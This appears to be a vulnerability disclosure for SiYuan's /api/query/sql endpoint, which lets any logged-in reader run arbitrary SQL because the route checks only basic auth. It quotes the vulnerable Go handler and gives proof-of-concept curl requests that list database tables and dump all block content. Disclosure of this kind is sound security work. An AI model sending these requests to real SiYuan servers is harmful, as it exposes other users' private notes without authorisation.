Summary /api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.

Details

The vulnerable endpoint is in kernel/api/sql.go

go func SQL(c gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret)

arg, ok := util.JsonArg(c, ret) if !ok { return }

stmt := arg["stmt"].(string) result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions }

The route in kernel/api/router.go only uses CheckAuth middleware

e.g (similar)

go ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)

PoC

Start SiYuan with the publish service turned on

bash

List out all tables in the database

curl -s -u readeruser:readerpass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT name, type FROM sqlitemaster WHERE type='"'"'table'"'"'"}'

Extract all user content from the database

curl -s -u readeruser:readerpass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT id, content FROM blocks"}'

Impact - High impact, reader users can query all data in the db including other users notes - SQL api is mostly for select queries, but without validation, writes can still happen - Malicious SQL can lead to serious performance issues

this is an auth bypass, the sql feature is for power users but even readers can use it